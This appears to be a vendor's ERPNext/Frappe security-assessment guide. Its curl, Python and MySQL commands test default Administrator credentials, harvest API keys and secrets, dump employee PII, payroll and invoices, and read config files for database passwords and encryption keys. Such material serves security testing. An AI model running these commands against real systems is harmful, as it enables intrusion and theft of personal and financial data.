ERPNext is one of the most widely deployed open-source ERP systems, built on the Frappe web framework and used by manufacturing companies, NGOs, healthcare providers, and retail businesses to manage customers, inventory, financials, purchasing, HR, and payroll. The Frappe REST API exposes all ERP data — customers, suppliers, invoices, employee records, and salary slips — through a uniform DocType-based API. Key assessment areas: ERPNext defaults to Administrator/admin; the Frappe API uses a token format of api_key:api_secret in the Authorization header; common_site_config.json stores the MySQL database password; the site site_config.json contains the encryption key for encrypted database fields; and Frappe DocType permissions can be bypassed if role-based access controls are misconfigured. This guide covers systematic ERPNext and Frappe security assessment.
# ERPNext / Frappe — default credentials and API token authentication
ERPNEXT_URL="https://erp.example.com"
# Default credentials: Administrator / admin
# ERPNext forces password change on first login in newer versions
curl -s -c /tmp/erp_sess -b /tmp/erp_sess \
-X POST "${ERPNEXT_URL}/api/method/login" \
-H "Content-Type: application/json" \
-d '{"usr":"Administrator","pwd":"admin"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Message: {d.get(\"message\")}')
if d.get('message') == 'Logged In':
print('SUCCESS — default credentials accepted')
" 2>/dev/null
# API token authentication (Frappe format: token api_key:api_secret)
API_KEY="your-frappe-api-key"
API_SECRET="your-frappe-api-secret"
curl -s "${ERPNEXT_URL}/api/method/frappe.auth.get_logged_user" \
-H "Authorization: token ${API_KEY}:${API_SECRET}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Logged in as: {d.get(\"message\")}')
" 2>/dev/null
# List all API users — User DocType with API access
curl -s "${ERPNEXT_URL}/api/resource/User?fields=[\"name\",\"email\",\"roles\",\"api_key\",\"api_secret\"]&limit=100" \
-H "Authorization: token ${API_KEY}:${API_SECRET}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('data',[])
print(f'Users: {len(users)}')
for u in users[:20]:
print(f' {u.get(\"name\")} email={u.get(\"email\")}')
if u.get('api_key'):
print(f' API key: {u.get(\"api_key\")} secret: {u.get(\"api_secret\")}')
" 2>/dev/null
# ERPNext / Frappe sensitive DocType data enumeration
ERPNEXT_URL="https://erp.example.com"
API_KEY="your-frappe-api-key"
API_SECRET="your-frappe-api-secret"
AUTH="Authorization: token ${API_KEY}:${API_SECRET}"
# Customer DocType — complete customer database
curl -s "${ERPNEXT_URL}/api/resource/Customer?limit=100&fields=[\"name\",\"customer_name\",\"email_id\",\"mobile_no\",\"customer_group\",\"territory\"]" \
-H "${AUTH}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
customers = d.get('data',[])
print(f'Customers: {len(customers)}')
for c in customers[:10]:
print(f' {c.get(\"name\")}: {c.get(\"customer_name\")} email={c.get(\"email_id\")} mobile={c.get(\"mobile_no\")}')
" 2>/dev/null
# Employee DocType — complete HR records with personal data
curl -s "${ERPNEXT_URL}/api/resource/Employee?limit=100&fields=[\"name\",\"employee_name\",\"company_email\",\"personal_email\",\"date_of_birth\",\"department\",\"designation\",\"bank_account_no\"]" \
-H "${AUTH}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
employees = d.get('data',[])
print(f'Employees: {len(employees)}')
for e in employees[:10]:
print(f' {e.get(\"name\")}: {e.get(\"employee_name\")} email={e.get(\"company_email\")} dept={e.get(\"department\")}')
print(f' DOB: {e.get(\"date_of_birth\")} bank={e.get(\"bank_account_no\")}')
" 2>/dev/null
# Salary Slip DocType — payroll data
curl -s "${ERPNEXT_URL}/api/resource/Salary Slip?limit=100&fields=[\"name\",\"employee\",\"employee_name\",\"month\",\"gross_pay\",\"net_pay\",\"total_deduction\"]" \
-H "${AUTH}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
slips = d.get('data',[])
print(f'Salary slips: {len(slips)}')
for s in slips[:10]:
print(f' {s.get(\"employee_name\")} {s.get(\"month\")}: gross={s.get(\"gross_pay\")} net={s.get(\"net_pay\")}')
" 2>/dev/null
# Sales Invoice DocType — financial transaction data
curl -s "${ERPNEXT_URL}/api/resource/Sales Invoice?limit=100&fields=[\"name\",\"customer\",\"grand_total\",\"outstanding_amount\",\"status\",\"posting_date\"]" \
-H "${AUTH}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
invoices = d.get('data',[])
print(f'Sales invoices: {len(invoices)}')
total = sum(float(i.get('grand_total',0) or 0) for i in invoices)
print(f'Total value: {total:.2f}')
" 2>/dev/null
# Frappe bench configuration and credential extraction
BENCH_PATH="/home/frappe/frappe-bench"
SITE_NAME="erp.example.com"
# common_site_config.json — MySQL database password and Redis credentials
cat "${BENCH_PATH}/sites/common_site_config.json" 2>/dev/null | python3 -c "
import json,sys
cfg=json.load(sys.stdin)
print(f'DB host: {cfg.get(\"db_host\",\"localhost\")}')
print(f'DB name: {cfg.get(\"db_name\")}')
print(f'DB password: {cfg.get(\"db_password\")}')
print(f'Redis cache: {cfg.get(\"redis_cache\")}')
print(f'Redis queue: {cfg.get(\"redis_queue\")}')
print(f'Redis socketio: {cfg.get(\"redis_socketio\")}')
" 2>/dev/null
# site_config.json — site-specific encryption key
cat "${BENCH_PATH}/sites/${SITE_NAME}/site_config.json" 2>/dev/null | python3 -c "
import json,sys
cfg=json.load(sys.stdin)
print(f'Encryption key: {cfg.get(\"encryption_key\")}')
print(f'Secret key: {cfg.get(\"secret_key\")}')
print(f'DB password: {cfg.get(\"db_password\")}')
" 2>/dev/null
# encryption_key — used to encrypt sensitive database fields (bank account numbers, etc.)
# Decrypts all Frappe-encrypted fields across all DocTypes
# MySQL direct access — user API keys (stored in the tabUser table)
mysql -u root -p"DB_PASSWORD" "${SITE_NAME//./_}" 2>/dev/null << 'EOF'
SELECT name, email, api_key, api_secret, enabled, role_profile_name
FROM tabUser
WHERE enabled = 1
ORDER BY creation DESC
LIMIT 30;
EOF
# api_key and api_secret stored in plaintext for all API-enabled users
| Security Test | Method | Risk |
|---|---|---|
| Default Administrator/admin credential exploitation | POST /api/method/login with Administrator:admin — full ERPNext access; all DocTypes across all companies including customers, employees, salaries, financials, and bank account data | Critical |
| Employee PII and payroll data extraction | GET /api/resource/Employee — date of birth, personal email, bank account number per employee; GET /api/resource/Salary Slip — gross pay, net pay, deductions per employee per month; complete HR and payroll database | Critical |
| common_site_config.json MySQL credential extraction | Read /home/frappe/frappe-bench/sites/common_site_config.json — db_password for the ERPNext MySQL database; enables direct database access to all ERP data including all financial transactions and HR records | Critical |
| site_config.json encryption key extraction | Read sites/{site}/site_config.json — encryption_key decrypts all Frappe-encrypted database fields including bank account numbers and sensitive PII stored encrypted in DocType fields | Critical |
| User DocType API key harvest | GET /api/resource/User with admin token — returns api_key and api_secret for all API-enabled users; enables API access as any user; api_key/api_secret stored in plaintext in tabUser MySQL table | Critical |
Ironimo tests ERPNext and Frappe deployments for default Administrator credential exploitation, Frappe REST API DocType enumeration for customer, employee, salary, and financial data, common_site_config.json MySQL credential extraction, site_config.json encryption key exposure, User DocType API key harvesting, Frappe role permission bypass testing, bench backup credential exposure, and two-factor authentication enforcement assessment.
Start free scan